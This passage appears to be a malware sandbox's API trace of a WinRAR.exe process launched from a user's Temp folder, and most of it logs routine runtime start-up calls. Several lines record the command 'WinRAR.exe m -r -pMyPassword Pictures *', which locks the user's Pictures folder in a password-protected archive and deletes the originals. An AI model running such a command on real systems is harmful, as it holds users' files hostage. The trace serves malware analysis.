(lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.821] GetLastError () returned 0x57 [0049.822] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0049.824] LoadLibraryExW (lpLibFileName=0x13f278990, hFile=0x0, dwFlags=0x800) returned 0x0 [0049.824] GetLastError () returned 0x57 [0049.824] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77ae0000 [0049.824] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsAlloc") returned 0x77af7190 [0049.824] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsSetValue") returned 0x77afbd90 [0049.825] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.825] GetLastError () returned 0x57 [0049.825] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef7a20000 [0049.825] GetProcAddress (hModule=0x7fef7a20000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0049.825] GetProcessHeap () returned 0x1b0000 [0049.825] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.825] GetLastError () returned 0x57 [0049.825] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0049.827] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.827] GetLastError () returned 0x57 [0049.827] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77ae0000 [0049.827] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsAlloc") returned 0x77af7190 [0049.827] GetLastError () returned 0x57 [0049.828] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsGetValue") returned 0x77b03520 [0049.828] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3c8) returned 0x1d8030 [0049.828] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsSetValue") returned 0x77afbd90 [0049.828] SetLastError (dwErrCode=0x57) [0049.828] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1000) returned 0x1d8400 [0049.829] GetStartupInfoW (in: lpStartupInfo=0x18f7b0 | out: lpStartupInfo=0x18f7b0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x1)) [0049.829] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0049.829] GetFileType (hFile=0x3) returned 0x0 [0049.829] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0049.829] GetFileType (hFile=0x7) returned 0x0 [0049.829] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0049.829] GetFileType (hFile=0xb) returned 0x0 [0049.829] GetCommandLineA () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0049.829] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0049.829] GetLastError () returned 0x6 [0049.830] SetLastError (dwErrCode=0x6) [0049.830] GetLastError () returned 0x6 [0049.830] SetLastError (dwErrCode=0x6) [0049.830] GetACP () returned 0x4e4 [0049.830] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x228) returned 0x1d6d80 [0049.830] IsValidCodePage (CodePage=0x4e4) returned 1 [0049.830] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f780 | out: lpCPInfo=0x18f780) returned 1 [0049.830] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f020 | out: lpCPInfo=0x18f020) returned 1 [0049.830] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f040, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.830] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f040, cbMultiByte=256, lpWideCharStr=0x18ed70, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䓐\x1b") returned 256 [0049.830] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䓐\x1b", cchSrc=256, lpCharType=0x18f340 | out: lpCharType=0x18f340) returned 1 [0049.830] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f040, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.830] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f040, cbMultiByte=256, lpWideCharStr=0x18ed10, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0049.830] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.830] GetLastError () returned 0x57 [0049.830] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0049.832] GetProcAddress (hModule=0x77ae0000, lpProcName="LCMapStringEx") returned 0x77b2b710 [0049.832] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.832] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x18eb00, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0049.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x18f140, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x08", lpUsedDefaultChar=0x0) returned 256 [0049.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f040, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f040, cbMultiByte=256, lpWideCharStr=0x18ed10, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0049.832] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.832] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x18eb00, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0049.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x18f240, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x100) returned 0x1da410 [0049.833] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x13f342ff0, nSize=0x104 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x86) returned 0x1c9b60 [0049.833] RtlInitializeSListHead (in: ListHead=0x13f342e00 | out: ListHead=0x13f342e00) [0049.833] GetLastError () returned 0x0 [0049.833] SetLastError (dwErrCode=0x0) [0049.833] GetEnvironmentStringsW () returned 0x1da520* [0049.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\WhuOXYsD\\Pictures", cchWideChar=1370, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1370 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x55a) returned 0x1dafe0 [0049.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\WhuOXYsD\\Pictures", cchWideChar=1370, lpMultiByteStr=0x1dafe0, cbMultiByte=1370, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Users\\WhuOXYsD\\Pictures", lpUsedDefaultChar=0x0) returned 1370 [0049.833] FreeEnvironmentStringsW (penv=0x1da520) returned 1 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x130) returned 0x1db550 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1f) returned 0x1cbf60 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2a) returned 0x1d9800 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x31) returned 0x1d9840 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3c) returned 0x1c6740 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x31) returned 0x1d9880 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1a) returned 0x1cbf90 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x24) returned 0x1cbfc0 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x14) returned 0x1d65d0 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xd) returned 0x1d65f0 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x19) returned 0x1cbff0 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2d) returned 0x1d98c0 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1b) returned 0x1cc020 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x17) returned 0x1d6610 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe) returned 0x1d6630 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x8d) returned 0x1db690 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3e) returned 0x1c6790 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1d) returned 0x1cc050 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x48) returned 0x1c67e0 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1d6650 [0049.833] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x18) returned 0x1d6670 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1b) returned 0x1cc080 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1e) returned 0x1cc0b0 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x29) returned 0x1d9900 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1e) returned 0x1cc0e0 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xc) returned 0x1d6690 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x41) returned 0x1c6830 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x17) returned 0x1d66b0 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xf) returned 0x1d66d0 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1d66f0 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2a) returned 0x1d9940 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x29) returned 0x1d9980 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x18) returned 0x1d6710 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1d6730 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1e) returned 0x1cc110 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1d6750 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x18) returned 0x1d6770 [0049.834] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x46) returned 0x1c6880 [0049.834] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1dafe0 | out: hHeap=0x1b0000) returned 1 [0049.834] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77ae0000 [0049.834] GetProcAddress (hModule=0x77ae0000, lpProcName="InitializeConditionVariable") returned 0x77c384f0 [0049.834] GetProcAddress (hModule=0x77ae0000, lpProcName="SleepConditionVariableCS") returned 0x77b2b230 [0049.834] GetProcAddress (hModule=0x77ae0000, lpProcName="WakeAllConditionVariable") returned 0x77c200b0 [0049.834] RtlInitializeConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0049.835] QueryPerformanceFrequency (in: lpFrequency=0x18f890 | out: lpFrequency=0x18f890*=100000000) returned 1 [0049.835] QueryPerformanceCounter (in: lpPerformanceCount=0x18f898 | out: lpPerformanceCount=0x18f898*=12517499009) returned 1 [0049.835] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1000) returned 0x1da520 [0049.835] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x13f251a80) returned 0x0 [0049.836] GetCurrentProcess () returned 0xffffffffffffffff [0049.836] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18f780, lpSystemAffinityMask=0x18f788 | out: lpProcessAffinityMask=0x18f780, lpSystemAffinityMask=0x18f788) returned 1 [0049.837] GetCurrentProcess () returned 0xffffffffffffffff [0049.837] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18f790, lpSystemAffinityMask=0x18f798 | out: lpProcessAffinityMask=0x18f790, lpSystemAffinityMask=0x18f798) returned 1 [0049.837] GetCurrentProcess () returned 0xffffffffffffffff [0049.837] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18f7c0, lpSystemAffinityMask=0x18f7c8 | out: lpProcessAffinityMask=0x18f7c0, lpSystemAffinityMask=0x18f7c8) returned 1 [0049.838] GetCurrentProcess () returned 0xffffffffffffffff [0049.838] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x18f7c0, lpSystemAffinityMask=0x18f7c8 | out: lpProcessAffinityMask=0x18f7c0, lpSystemAffinityMask=0x18f7c8) returned 1 [0049.839] GetSystemMetrics (nIndex=7) returned 3 [0049.864] GetSystemMetrics (nIndex=8) returned 3 [0049.867] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18f860 | out: lpCPInfo=0x18f860) returned 1 [0049.870] GetDC (hWnd=0x0) returned 0xf01083e [0049.870] GetDeviceCaps (hdc=0xf01083e, index=90) returned 96 [0049.870] ReleaseDC (hWnd=0x0, hDC=0xf01083e) returned 1 [0049.870] GetDC (hWnd=0x0) returned 0x1e0107f2 [0049.870] GetDeviceCaps (hdc=0x1e0107f2, index=88) returned 96 [0049.870] ReleaseDC (hWnd=0x0, hDC=0x1e0107f2) returned 1 [0049.871] GetStartupInfoW (in: lpStartupInfo=0x18f840 | out: lpStartupInfo=0x18f840*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, 